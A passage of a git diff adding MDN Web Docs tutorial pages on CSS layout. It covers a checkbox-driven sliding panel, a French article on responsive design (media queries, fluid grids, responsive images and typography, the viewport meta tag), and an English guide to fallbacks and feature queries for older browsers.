aside {
+  background-color: #a60000;
+  color: white;
+
+  width: 340px;
+  height: 100%;
+  padding: 0 20px;
+
+  position: fixed;
+  top: 0;
+  right: -370px;
+
+  transition: 0.6s all;
+}
+ +

There's a lot going on here — let's discuss it bit by bit:

+ +
    +
  • First, we set some simple {{cssxref("background-color")}} and {{cssxref("color")}} on the info box.
    • +
  • Next, we set a fixed {{cssxref("width")}} on the panel, and make its {{cssxref("height")}} the entire height of the browser viewport.
    • +
  • We also include some horizontal {{cssxref("padding")}} to space it out a bit.
    • +
  • Next we set {{cssxref("position")}}: fixed; on the panel so it will always appear in the same place, even if the page has content to scroll. We glue it to the {{cssxref("top")}} of the viewport, and set it so that by default it is offscreen to the {{cssxref("right")}}.
    • +
  • Finally, we set a {{cssxref("transition")}} on the element. Transitions are an interesting feature that allow you to make changes between states happen smoothly, rather than just going "on", "off" abruptly. In this case we are intending to make the panel slide smoothly onscreen when the checkbox is checked. (Or to put it another way, when the question mark icon is clicked — remember, clicking the <label> will check the associated checkbox! We told you it was a hack.) You will learn a lot more about...
    • +
+ +

Setting the checked state

+ +

There is one final bit of CSS to add — put the following at the bottom of your CSS:

+ +
input[type=checkbox]:checked + aside {
+  right: 0px;
+}
+ +

The selector is pretty complex here — we are selecting the <aside> element adjacent to the <input> element, but only when it is checked (note the use of the {{cssxref(":checked")}} pseudo-class to achieve this). When this is the case, we are setting the {{cssxref("right")}} property of the <aside> to 0px, which causes the panel to appear on the screen again (smoothly due to the transition). Clicking the label again unchecks the checkbox, which hides the panel again.

+ +

So there you have it — a rather clever JavaScript-free way to create a toggling button effect. This will work in IE9 and above (the smooth transition will work in IE10 and above.) This effect does have some concerns — this is a bit of an abuse of form elements, as they weren't intended for this purpose. In addition, the effect is not great in terms of accessibility; the label is not focusable by default, and the non-semantic use of the form elements could cause issues with screen readers. JavaScript and a link or button might be more appropriate, but it is still fun to experiment with.

+ +

Summary

+ +

So that rounds off our look at positioning — by now, you should have an idea of how the basic mechanics work, as well as understanding how to start applying these to build some interesting UI features. Don't worry if you didn't get this all immediately — positioning is a fairly advanced topic, and you can always work through the articles again to aid your understanding. The next subject we'll turn to is Flexbox.

+ +

In this module

+ + diff --git a/files/fr/learn/css/css_layout/responsive_design/index.html b/files/fr/learn/css/css_layout/responsive_design/index.html new file mode 100644 index 0000000000..323df1a7f6 --- /dev/null +++ b/files/fr/learn/css/css_layout/responsive_design/index.html @@ -0,0 +1,334 @@ +--- +title: Responsive design +slug: Apprendre/CSS/CSS_layout/Responsive_Design +tags: + - Images + - Media Queries + - RWD + - Responsive web design + - Typographie + - flexbox + - grid + - grille fluide +translation_of: Learn/CSS/CSS_layout/Responsive_Design +--- +
{{learnsidebar}}{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}}
+ +

Aux débuts de la conception Web, les pages étaient construites pour cibler une taille d'écran particulière. Si l'utilisateur avait un écran plus grand ou plus petit que celui du concepteur, les résultats attendus pouvaient aller de barres de défilement indésirables, à des longueurs de lignes trop longues, et à une mauvaise utilisation de l'espace. À mesure que des tailles d'écran plus variées devenaient disponibles, le concept de responsive web design (RWD) est apparu, un ensemble de pratiques qui permet aux pages Web de modifier leur disposition et leur apparence pour s'adapter à différentes largeurs d'écran, résolutions, etc. C'est une idée qui a changé notre façon de concevoir pour un web multi-périphériques, et dans cet article nous vous aiderons à comprendre les principales techniques que vous devez connaître pour la maîtriser.

+ + + + + + + + + + + + +
Prérequis:Les bases du HTML (étudier Introduction au HTML), et une idée du fonctionnement du CSS (édutier Premiers pas en CSS et Blocs de base en CSS.)
Objectif:Comprendre les concepts fondamentaux et l'histoire du responsive design.
+ +

Historique de la mise en page des sites Web

+ +

A une époque, vous aviez deux options pour concevoir un site Web :

+ +
    +
  • Vous pourriez créer un site liquide, qui s'étirerait pour remplir la fenêtre du navigateur
    • +
  • ou un site à largeur fixe, qui aurait une taille fixe en pixels.
    • +
+ +

Ces deux approches donnaient lieu à un site Web qui avait fière allure sur l'écran de la personne qui le concevait ! Les site liquides avaient pour résultat un design écrasé sur les petits écrans (comme on le voit ci-dessous) et des longueurs de lignes illisibles sur les plus grands.

+ +
Une mise en page avec deux colonnes écrasées dans une fenêtre de taille mobile. +
+
+ +
+

Note: Voir cette simple mise en page "liquide" : exemple, code source. Lorsque vous regardez l'exemple, faites glisser la fenêtre de votre navigateur vers l'intérieur et vers l'extérieur pour voir comment cela se présente en fonction des différentes tailles.

+
+ +

Les sites à largeur fixe risquaient d'avoir une barre de défilement horizontale sur les écrans plus petits que la largeur du site (comme on le voit ci-dessous), et beaucoup d'espace blanc sur les bords sur les écrans plus grands.

+ +
Une mise en page avec une barre de défilement horizontale dans une fenêtre de visualisation mobile. +
+
+ +
+

Note: Voir cette simple mise en page à largeur fixe : exemple, code source. Là encore, observez le résultat lorsque vous modifiez la taille de la fenêtre du navigateur.

+
+ +
+

Note: Les captures d'écran ci-dessus sont réalisées à l'aide de la Vue adaptative de la boîte à outils de Firefox.

+
+ +

Lorsque le web mobile a commencé à devenir une réalité avec les premiers téléphones à fonctions, les entreprises qui souhaitaient adopter le mobile créaient généralement une version mobile spéciale de leur site, avec une URL différente (souvent quelque chose comme m.example.com, ou example.mobi). Cela signifiait qu'il fallait développer deux versions distinctes du site et les tenir à jour.

+ +

De plus, ces sites mobiles offraient souvent une expérience très réduite. Les appareils mobiles devenant plus puissants et capables d'afficher des sites Web complets, cela était frustrant pour les utilisateurs mobiles qui se retrouvaient coincés dans la version mobile du site et incapables d'accéder à l'information qu'ils savaient disponible sur la version de bureau complète du site.

+ +

Mise en page flexible avant le responsive design

+ +

Un certain nombre d'approches ont été développées pour tenter de résoudre les inconvénients des méthodes de construction de sites Web liquide et à largeur fixe. En 2004, Cameron Adams a écrit un article intitulé Mise en page en fonction de la résolution (EN), décrivant une méthode de création de design pouvant s'adapter à différentes résolutions d'écran. Cette approche nécessitait l'utilisation de JavaScript pour détecter la résolution d'écran et charger la bonne CSS.

+ +

Zoe Mickley Gillenwater a grandement contribué au travail de description et de formalisation des différentes façons de créer des sites flexibles, en essayant de trouver un juste milieu entre remplir l'écran ou être complètement fixe en taille.

+ +

Responsive design

+ +

Le terme de responsive design a été inventé par Ethan Marcotte en 2010, et décrit la combinaison de trois techniques.

+ +
    +
  1. La première était l'idée des grilles fluides, une idée déjà explorée par Gillenwater, que l'on peut lire dans l'article de Marcotte, Fluid Grids (publié en 2009 sur A List Apart).
    2. +
  2. La deuxième technique était l'idée d'images fluides. En utilisant une technique très simple de réglage de la propriété max-width à 100%,  les images deviennent plus petites si leur colonne de contenu devient plus étroite que la taille intrinsèque de l'image, mais ne deviennent jamais plus grandes. Cela permet à une image de se réduire pour s'intégrer dans une colonne de taille flexible, plutôt que de la déborder, mais de ne pas s'agrandir et de devenir pixélisée si la colonne devient plus large que l'image.
    3. +
  3. Le troisième élément clé était la media query. Les Media Queries permettent de changer le type de mise en page que Cameron Adams avait précédemment exploré en utilisant JavaScript, en utilisant uniquement CSS. Au lieu d'avoir une seule mise en page pour toutes les tailles d'écran, la mise en page pouvait être modifiée. Les barres latérales pouvaient être repositionnées pour l'écran plus petit, ou une autre navigation pouvait être affichée.
    4. +
+ +

Il est important de comprendre que le responsive web design n'est pas une technologie à part - c'est un terme utilisé pour décrire une approche de la conception web, ou un ensemble de bonnes pratiques, utilisées pour créer une mise en page qui peut correspondre à l'appareil utilisé pour visualiser le contenu. Dans la recherche initiale de Marcotte, cela impliquait des grilles flexibles (en utilisant des flotteurs) et des média queries, mais depuis la rédaction de cet article, il y a presque 10 ans, le concept de responsive design est devenu la norme. Les méthodes modernes de mise en page CSS sont par nature responsives, et nous avons intégré de nouvelles choses à la plateforme Web pour faciliter la conception de sites responsives.
+
+ Le reste de cet article vous indiquera les différentes fonctionnalités de la plate-forme web que vous pourriez vouloir utiliser pour créer un site réactif.

+ +

Media Queries

+ +

Le responsive design n'a pu voir le jour uniquement grâce aux média queries. La spécification de niveau 3 des média queries est devenue une Recommandation Candidate en 2009, ce qui signifie qu'elle a été jugée prête à être mise en œuvre dans les navigateurs. Les Media Queries nous permettent d'effectuer une série de tests (par exemple, si l'écran de l'utilisateur dépasse une certaine largeur, ou une certaine résolution) et d'appliquer le CSS de manière sélective pour donner à la page le style approprié aux besoins de l'utilisateur.

+ +

Par exemple, la média query suivante teste si la page Web actuelle est affichée comme média d'écran (donc pas un document à imprimer) et si la fenêtre de visualisation a au moins 800 pixels de large. Le CSS du sélecteur .container ne sera appliqué que si ces deux éléments sont vrais.

+ +
@media screen and (min-width: 800px) {
+  .container {
+    margin: 1em 2em;
+  }
+} 
+
+ +

Vous pouvez ajouter plusieurs medias queries dans une feuille de style, afin de modifier votre mise en page ou certaines de ses parties pour les adapter aux différentes tailles d'écran. Les endroits où une média query est introduite et où la mise en page est modifiée sont appelés points d'arrêt.

+ +

Une approche courante lors de l'utilisation de Media Queries consiste à créer une disposition à colonne unique simple pour les appareils à écran étroit (par exemple les téléphones portables), puis à vérifier si les écrans sont plus grands et à mettre en œuvre une disposition à colonnes multiples lorsque vous savez que vous avez suffisamment de largeur d'écran pour la prendre en charge. Ceci est souvent décrit comme la conception mobile en priorité.

+ +

Pour en savoir plus, consultez la documentation MDN pour les Media Queries.

+ +

Grilles flexibles

+ +

Les sites responsives ne se contentent pas de changer leur mise en page entre les points de rupture, ils sont construits sur des grilles flexibles. Une grille flexible signifie que vous n'avez pas besoin de cibler toutes les tailles d'appareils possibles et de construire une mise en page parfaite au pixel près. Cette approche serait impossible étant donné le grand nombre de dispositifs de tailles différentes qui existent, et le fait que sur les ordinateurs de bureau au moins, les gens n'ont pas toujours la fenêtre de leur navigateur maximisée.

+ +

En utilisant une grille flexible, vous n'avez qu'à ajouter un point d'arrêt et à modifier le design au moment où le contenu commence à avoir une piètre apparence. Par exemple, si la longueur des lignes devient illisible à mesure que la taille de l'écran augmente, ou si une boîte se retrouve écrasée avec deux mots sur chaque ligne lorsqu'elle se rétrécit.

+ +

Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser floats. Aux débuts du responsive design, notre seule option pour réaliser la mise en page était d'utiliser des flotteurs. Des mises en page flottantes flexibles ont été réalisées en donnant à chaque élément un pourcentage de largeur et en s'assurant que les totaux ne dépassent pas 100 % dans toute la mise en page. Dans sa publication originale sur les grilles fluides, Marcotte a détaillé une formule pour convertir en pourcentages une mise en page conçue à l'aide de pixels.

+ +
target / context = result 
+
+ +

Par exemple, si la taille de notre colonne cible est de 60 pixels et que le contexte (ou conteneur) dans lequel elle se trouve est de 960 pixels, nous divisons 60 par 960 pour obtenir une valeur que nous pouvons utiliser dans notre CSS, après avoir déplacé le point décimal de deux places vers la droite.

+ +
.col {
+  width: 6.25%; /* 60 / 960 = 0.0625 */
+} 
+
+ +

Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur Méthodes de mises en page traditionnelles. Cette approche se retrouve aujourd'hui à de nombreux endroits sur le Web, et elle est documentée ici dans la section sur la mise en page de notre article sur les méthodes de mise en page héritées. Il est probable que vous rencontrerez des sites web utilisant cette approche dans votre travail, donc il est utile de la comprendre, même si vous ne construiriez pas un site moderne en utilisant une grille flexible basée sur le flottement.

+ +

L'exemple suivant montre une conception simple et responsive en utilisant des médias queries et une grille flexible. Sur des écrans étroits, la mise en page affiche les boîtes entassées les unes sur les autres :
+  

+ +
A mobile view of the layout with boxes stacked on top of each other vertically. +
+
+ +

Sur des écrans plus larges, ils se positionnent sur deux colonnes :

+ +
A desktop view of a layout with two columns. +
+
+ +
+

Note: Vous pouvez trouver l'exemple en direct et le code source pour cet exemple sur GitHub.

+
+ +

Techniques modernes de mise en page

+ +

Les méthodes de mise en page modernes telles que Multiple-column layout, Flexbox, et Grid sont responsives par défaut. Elles partent toutes du principe que vous essayez de créer une grille flexible et vous donnent des moyens plus faciles de le faire.

+ +

Multicol

+ +

La plus ancienne de ces méthodes de mise en page est multicol — lorsque vous spécifiez un column-count, cela indique en combien de colonnes vous voulez que votre contenu soit divisé. Le navigateur calcule alors la taille de celles-ci, une taille qui changera en fonction de la taille de l'écran.

+ +
.container {
+  column-count: 3;
+} 
+
+ +

Si vous spécifiez plutôt une largeur de colonne, vous spécifiez une largeur minimale. Le navigateur créera autant de colonnes de cette largeur qu'il en faudra pour que le conteneur soit parfaitement adapté, puis répartira l'espace restant entre toutes les colonnes. Par conséquent, le nombre de colonnes changera en fonction de l'espace disponible.

+ +
.container {
+  column-width: 10em;
+} 
+
+ +

Flexbox

+ +

Dans Flexbox, les articles flexibles se rétréciront et répartiront l'espace entre les articles en fonction de l'espace dans leur conteneur, en fonction de leur comportement initial. En modifiant les valeurs de flex-grow et flex-shrink  vous pouvez indiquer comment vous souhaitez que les articles se comportent lorsqu'ils rencontrent plus ou moins d'espace autour d'eux.

+ +

Dans l'exemple ci-dessous, les éléments flex prendront chacun autant d'espace dans le conteneur flex, en utilisant la notation flex: 1 comme décrit dans la rubrique de mise en page Flexbox: Taille modulable des éléments flex.

+ +
.container {
+  display: flex;
+}
+
+.item {
+  flex: 1;
+} 
+
+ +
+

Note: À titre d'exemple, nous avons reconstruit la mise en page simple et réactive ci-dessus, en utilisant cette fois-ci la méthode flexbox. Vous pouvez voir comment nous n'avons plus besoin d'utiliser des pourcentages étranges pour calculer la taille des colonnes : exemple, code source.

+
+ +

CSS grid

+ +

Dans la mise en page en grille CSS, l'unité fr permet la répartition de l'espace disponible sur les différentes sections de la grille. L'exemple suivant crée un conteneur de grille avec trois rangées dont la taille est de 1fr. Cela créera trois colonnes, chacune prenant une partie de l'espace disponible dans le conteneur. Vous pouvez en savoir plus sur cette approche pour créer une grille dans la rubrique Apprendre la mise en place en grille, dans la section Trames adaptables avec l'unité "fr".

+ +
.container {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+} 
+
+ +
+

Note: La version à grille est encore plus simple puisque nous pouvons définir les colonnes sur le .wrapper : exemple, code source.

+
+ +

Images responsives

+ +

L'approche la plus simple pour les images responsive est celle décrite dans les premiers articles de Marcotte sur le design responsive. En gros, vous preniez une image qui était à la plus grande taille possible et vous la réduisiez. C'est encore une approche utilisée aujourd'hui, et dans la plupart des feuilles de style, vous trouverez le CSS suivant quelque part :

+ +
img {
+  max-width: 100%:
+} 
+
+ +

Cette approche présente des inconvénients évidents. L'image peut être affichée à une taille beaucoup plus petite que sa taille réelle, ce qui est un gaspillage de bande passante - un utilisateur mobile peut télécharger une image dont la taille est beaucoup plus grande que ce qu'il voit réellement dans la fenêtre du navigateur. De plus, il se peut que vous ne vouliez pas le même rapport hauteur/largeur de l'image sur le mobile que sur le bureau. Par exemple, il peut être agréable d'avoir une image carrée pour le mobile, mais de montrer la même image en format paysage sur le bureau. Ou, en tenant compte de la taille plus petite d'une image sur le mobile, vous pouvez vouloir montrer une image différente, qui est plus facile à comprendre sur un écran de petite taille. Ces choses ne peuvent pas être réalisées par une simple réduction de la taille d'une image.

+ +

Les images responsives, en utilisant l'élément {{htmlelement("picture")}}  et les attributs {{htmlelement("img")}} srcset et sizes  permettent de résoudre ces deux problèmes. Vous pouvez fournir plusieurs tailles ainsi que des " indices " (méta-données qui décrivent la taille de l'écran et la résolution pour lesquelles l'image est la mieux adaptée), et le navigateur choisira l'image la plus appropriée pour chaque dispositif, en s'assurant qu'un utilisateur téléchargera une taille d'image appropriée pour le dispositif qu'il utilise.

+ +

Vous pouvez également créer des images directes utilisées à différentes tailles, ce qui permet d'obtenir un recadrage différent ou une image complètement différente pour différentes tailles d'écran.

+ +

Vous pouvez trouver un guide détaillé sur les Images Responsives dans la section Apprendre le HTML ici sur MDN.

+ +

Typographie responsive

+ +

L'idée d'une typographie responsive est un élément du responsive design qui n'a pas été abordé dans les documents précédents. Elle décrit essentiellement la modification de la taille des polices de caractères dans les médias queries pour tenir compte d'un nombre plus ou moins important de pixels à l'écran.

+ +

Dans cet exemple, nous voulons fixer notre titre de niveau 1 à 4rem, ce qui signifie qu'il sera quatre fois plus gros que notre police de base. C'est un très grand titre ! Nous voulons que ce titre géant ne soit utilisé que sur des écrans de grande taille, c'est pourquoi nous créons d'abord un titre plus petit, puis nous utilisons des média queries pour le remplacer par un titre de plus grande taille si nous savons que l'utilisateur a une taille d'écran d'au moins 1200px.

+ +
html {
+  font-size: 1em;
+}
+
+h1 {
+  font-size: 2rem;
+}
+
+@media (min-width: 1200px) {
+  h1 {
+    font-size: 4rem;
+  }
+} 
+
+ +

Nous avons modifié notre exemple de grilles réactives ci-dessus pour inclure également les type responsives en utilisant la méthode décrite. Vous pouvez voir comment le titre change de taille au fur et à mesure que la mise en page passe à la version à deux colonnes.

+ +

Sur un mobile, le titre est plus petit :

+ +
A stacked layout with a small heading size. +
+
+ +

Sur le bureau cependant, nous voyons la plus grande taille de titre :

+ +
A two column layout with a large heading. +
+
+ +
+

Note: Voir cet exemple en action : exemple, code source.

+
+ +

Comme le montre cette approche de la typographie, vous n'avez pas besoin de limiter les requêtes des médias à la seule modification de la mise en page. Elles peuvent être utilisées pour modifier n'importe quel élément afin de le rendre plus utilisable ou plus attrayant à des tailles d'écran différentes.

+ +

Utilisation d'unités de visualisation pour une typographie réactive

+ +

Une approche intéressante consiste à utiliser l'unité viewport vw pour permettre une typographie réactive. 1vw est égal à un pour cent de la largeur de la fenêtre, ce qui signifie que si vous définissez la taille de votre police à l'aide de vw, elle sera toujours liée à la taille de la fenêtre.

+ +
h1 {
+  font-size: 6vw;
+}
+ +

Le problème est que l'utilisateur perd la possibilité de zoomer sur un ensemble de texte en utilisant l'unité vw, car ce texte est toujours lié à la taille de la fenêtre de visualisation. Par conséquent, vous ne devez jamais définir un texte en utilisant uniquement les unités de viewport.

+ +

Il existe une solution, et elle consiste à utiliser calc(). Si vous ajoutez l'unité vw à un ensemble de valeurs utilisant une taille fixe telle que ems ou rems, le texte sera toujours zoomable. En fait, l'unité vw s'ajoute à cette valeur zoomée :

+ +
h1 {
+  font-size: calc(1.5rem + 3vw);
+}
+ +

Cela signifie que nous n'avons besoin de spécifier la taille de la police pour l'en-tête qu'une seule fois, plutôt que de la configurer pour les mobiles et de la redéfinir dans les requêtes des médias. La police augmente ensuite progressivement à mesure que l'on augmente la taille de la zone d'affichage.

+ +
+

Voir un exemple de cela en action : exemple, code source.

+
+ +

Le méta-tag du viewport

+ +

Si vous regardez le code source d'une page HTML responsive, vous verrez généralement la balise suivante {{htmlelement("meta")}} dans la section <head> du document.

+ +
<meta name="viewport" content="width=device-width,initial-scale=1">
+
+ +

Cette balise meta dit aux navigateurs mobiles qu'ils doivent ajuster la largeur de la fenêtre à la largeur de l'écran de l'appareil, et mettre l'échelle du document à 100% de sa taille prévue, affichant le document à la taille optimisée pour les mobiles que vous vouliez.

+ +

Pourquoi est-ce nécessaire? Parce que les navigateurs mobiles ont tendance à mentir à propos de leur taille de fenêtre.

+ +

Cette balise meta existe car lorsque l'Iphone original fut lancé et que les gens commencèrent à regarder des sites web sur un petit écran de téléphone, la plupart des sites n'étaient pas optimisés pour les mobiles. Le navigateur mobile définissait donc la largeur de la fenêtre d'affichage à 960 pixels, affichait la page à cette largeur et affichait le résultat sous la forme d'une version zoomée de la disposition du bureau. Les autres navigateurs mobiles (comme sur Google Android) faisaient la même chose. Les utilisateurs pouvaient zoomer et parcourir le site Web pour voir les éléments qui les intéressaient, mais l'affichage était mauvais. Vous le verrez toujours aujourd'hui si vous avez le malheur de tomber sur un site qui n'est pas responsive.

+ +

Le problème est que votre responsive design avec des points de coupure et des media queries ne fonctionnera pas comme prévu sur les navigateurs mobiles. Si vous avez une disposition pour écran étroit qui démarre à une largeur de fenêtre de 480 pixels ou moins, et que la fenêtre est définie à 960 pixels, vous ne verrez jamais votre disposition pour écran étroit sur mobile. En définissant width = device-width, vous remplacez la largeur par défaut d'Apple de width = 960px par la largeur réelle de l'appareil, afin que vos requêtes multimédias fonctionnent comme prévu.

+ +

Vous devriez donc toujours inclure la ligne HTML ci-dessus dans la tête de vos documents.

+ +

Il existe d'autres paramètres que vous pouvez utiliser avec la balise meta viewport, mais en général, la ligne ci-dessus est celle que vous utiliserez.

+ +
    +
  • initial-scale: Définit le zoom initial de la page, que nous définissons à 1.
    • +
  • height: Definit une hauteur spécifique pour la fenêtre.
    • +
  • minimum-scale: Définit le niveau minimal de zoom
    • +
  • maximum-scale: Définit le niveau maximal de zoom.
    • +
  • user-scalable: Empêche le zoom si défini à no.
    • +
+ +

Vous devriez éviter d'utiliser minimum-scale, maximum-scale, et en particulier la définition de user-scalable sur no. Les utilisateurs devraient être autorisés à zoomer autant ou aussi peu que nécessaire; éviter cela entraîne des problèmes d'accessibilité.

+ +
+

Note: Il existe une règle @ CSS conçue pour remplacer la métabalise viewport — @viewport — Cependant, son support par navigateur est médiocre. Il a été mis en œuvre dans Internet Explorer et Edge, mais une fois que Edgium (La version Edge basée sur Chromium) sera livré, il ne fera plus partie du navigateur Edge.

+
+ +

Sommaire

+ +

Le responsive design fait référence à la conception d'un site ou d'une application qui répond à l'environnement dans lequel il est vu. Elle englobe un certain nombre de caractéristiques et de techniques CSS et HTML, et c'est essentiellement la façon dont nous construisons les sites web par défaut. Considérez les sites que vous visitez sur votre téléphone - il est probablement assez inhabituel de tomber sur un site dont la version de bureau est réduite, ou sur lequel vous devez faire défiler les pages pour trouver des choses. Cela s'explique par le fait que le web a adopté cette approche de design réactif.

+ +

Il est également devenu beaucoup plus facile de réaliser des responsives designs à l'aide des méthodes de mise en page que vous avez apprises dans ces leçons. Si vous êtes novice en matière de développement web, vous disposez aujourd'hui de beaucoup plus d'outils qu'aux premiers jours du responsive design. Il est donc utile de vérifier l'âge des documents que vous référencez. Si les articles historiques sont toujours utiles, l'utilisation moderne des CSS et du HTML facilite grandement la création de designs élégants et utiles, quel que soit le dispositif avec lequel votre visiteur consulte le site.

+ +

{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/css_layout/supporting_older_browsers/index.html b/files/fr/learn/css/css_layout/supporting_older_browsers/index.html new file mode 100644 index 0000000000..c56a030d08 --- /dev/null +++ b/files/fr/learn/css/css_layout/supporting_older_browsers/index.html @@ -0,0 +1,237 @@ +--- +title: Prise en charge des anciens navigateurs +slug: Apprendre/CSS/CSS_layout/Prise_En_Charge_Des_Anciens_Navigateurs +translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}

+ +

In this module, we recommend using Flexbox and Grid as the main layout methods for your designs. However, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. This will always be the case on the web — as new features are developed, different browsers will prioritise different things. This article explains how to use modern web techniques without locking out users of older technology.

+ + + + + + + + + + + + +
Prerequisites:HTML basics (study Introduction to HTML), and an idea of how CSS works (study Introduction to CSS and Styling boxes.)
Objective:To understand how to provide support for your layouts on older browsers that might not support the features you want to use.
+ +

What is the browser landscape for your site?

+ +

Every website is different in terms of target audience. Before deciding on the approach to take, find out the number of visitors coming to your site using older browsers. This is straightforward if you have an existing website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using. If you have no analytics or this is a brand new site, then there are sites such as Statcounter that can provide statistics filtered by location.

+ +

You should also consider the type of devices and the way people use your site, for example, you may expect a higher than an average number of mobile devices. Accessibility and people using assistive technology should always be considered, but for some sites that may be even more critical. In my experience, developers are often very worried about the experience of 1% of users in an old version of Internet Explorer, while not considering at all the far greater number who have accessibility needs.

+ +

What is the support for the features you want to use?

+ +

Once you know the browsers that come to your site, you can assess any technology that you want to use against how well it is supported and how easily you can provide an alternative for visitors who do not have that technology available. We are trying to make this easy for you at MDN, by providing browser compatibility information on each page detailing a CSS property. For example, take a look at the page for {{cssxref("grid-template-columns")}}. At the bottom of this page is a table, which lists major browsers along with the version they began supporting this property.

+ +

+ +

Another popular way to find out about how well a feature is supported is the Can I Use website. This site lists the majority of Web Platform features with information about their browser support status. You can view usage statistics by location — useful if you work on a site that has users mostly for a specific area of the world. You can even link your Google Analytics account to get analysis based on your user data.

+ +

Understanding the technology your users have, and the support for things you might want to use puts you in a good place to make all of your decisions and to know how best to support all of your users.

+ +

Support doesn't mean "looks the same"

+ +

A website can’t possibly look the same in all browsers, because some of your users will be viewing the site on a phone and others on a large desktop screen. Similarly, some of your users will have an old browser version, and others the latest browser. Some of your users might be hearing your content read out to them by a screen reader, or have zoomed in on the page to be able to read it. Supporting everyone means serving a version of your content that is designed defensively, so that it will look great on modern browsers, but will still be usable at a basic level for users of older browsers.

+ +

A basic level of support comes from structuring your content well so that the normal flow of your page makes sense. A user with a very limited feature phone might not get much of your CSS, but the content will flow in a way that makes reading easy. Therefore, a well-structured HTML document should always be your starting point. If you remove your stylesheet, does your content make sense?

+ +

One option is to leave this plain view of the site as the fallback for people using very old or limited browsers. If you have a tiny number of people coming to the site in these browsers it may not make commercial sense to pour time into trying to give them a similar experience to people on modern browsers. It would be better to spend the time on things which make the site more accessible, thus serving far more users. There is a middle ground between a plain HTML page and all the bells and whistles, and CSS has actually made creating these fallbacks pretty straightforward.

+ +

Creating fallbacks in CSS

+ +

CSS specifications contain information that explains what the browser does when two layout methods are applied to the same item. This means that there is a definition for what happens if a floated item, for example, is also a Grid Item using CSS Grid Layout. Couple this information with the knowledge that browsers ignore CSS that they don’t understand, and you have a way to create simple layouts using the legacy techniques we have already covered, which are then overwritten by your Grid layout in modern browsers that understand it.

+ +

In the below example, we have floated three <div>s so they display in a row. Any browser that does not support CSS Grid Layout will see the row of boxes as a floated layout. A floated item that becomes a grid item loses the float behaviour, which means that by turning the wrapper into a Grid Container, the floated items become Grid Items. If the browser supports Grid Layout it will display the grid view, if not it ignores the anddisplay: grid related properties and the floated layout is used.

+ +
+
* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+}
+
+ +
<div class="wrapper">
+  <div class="item">Item One</div>
+  <div class="item">Item Two</div>
+  <div class="item">Item Three</div>
+</div>
+
+ +

{{ EmbedLiveSample('Example1', '100%', '200') }}

+
+ +
+

Note: The {{cssxref("clear")}} property also has no effect once the cleared item becomes a grid item, so you could have a layout with a cleared footer, which is then turned into a Grid Layout.

+
+ +

Fallback Methods

+ +

There are a number of layout methods which can be used in a similar way to this float example. You can choose the one that makes the most sense for the layout pattern you need to create.

+ +
+
Float and clear
+
As shown above, the float and clear properties cease to affect the layout if floated or cleared items become flex or grid items.
+
display: inline-block
+
This method can be used to create column layouts, if an item has display: inline-block set but then becomes a flex or grid item, the inline-block behaviour is ignored.
+
display: table
+
The method of creating CSS Tables described in the introduction to these lessons can be used as a fallback. Items that have CSS table layouts set on them will lose this behaviour if they become flex or grid items. Importantly, the anonymous boxes created to fix up the table structure are not created.
+
Multiple-column Layout
+
For certain layouts you could use multi-col as a fallback, if your container has any of the column-* properties defined on it and then becomes a grid container, the multicol behaviour will not happen.
+
Flexbox as a Fallback for Grid
+
Flexbox has greater browser support than Grid due to being supported by IE10 and 11, although do check out the information later in this lesson explaining the rather patchy and confusing support for Flexbox in older browsers. If you make a flex container into a grid container, any flex property applied to the children will be ignored.
+
+ +

For many layout tweaks in older browsers, you may find you can give a decent experience by using CSS in this way. We add a simpler layout based on older and well-supported techniques, then use the newer CSS to create the layout that over 90% of your audience will see. There are cases, however, when the fallback code will need to include something that the new browsers will also interpret. A good example of this is if we were to add percentage widths to our floated items to make the columns more like the grid display, stretching to fill the container.

+ +

In the floated layout, the percentage is calculated from the container — 33.333% is a third of the container width. In Grid however that 33.333% is calculated from the grid area the item is placed in, so it actually becomes a third of the size we want once the Grid Layout is introduced.

+ +
+
* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+
+ +
<div class="wrapper">
+  <div class="item">Item One</div>
+  <div class="item">Item Two</div>
+  <div class="item">Item Three</div>
+</div>
+
+ +

{{ EmbedLiveSample('Example2', '100%', '200') }}

+
+ +

To deal with this issue we need to have a way to detect if Grid is supported and therefore if it will override the width. CSS has a solution for us here.

+ +

Feature queries

+ +

Feature queries allow you to test whether a browser supports any particular CSS feature. This means that you can write some CSS for browsers that don’t support a certain feature, then check to see if the browser has support and if so throw in your fancy layout.

+ +

If we add a feature query to the above example, we can use it to set the widths of our items back to auto  if we know that we have grid support.

+ +
+
* {box-sizing: border-box;}
+
+.wrapper {
+  background-color: rgb(79,185,227);
+  padding: 10px;
+  max-width: 400px;
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+.item {
+  float: left;
+  border-radius: 5px;
+  background-color: rgb(207,232,220);
+  padding: 1em;
+  width: 33.333%;
+}
+
+@supports (display: grid) {
+  .item {
+      width: auto;
+  }
+}
+
+ +
<div class="wrapper">
+  <div class="item">Item One</div>
+  <div class="item">Item Two</div>
+  <div class="item">Item Three</div>
+</div>
+
+ +

{{ EmbedLiveSample('Example3', '100%', '200') }}

+
+ +

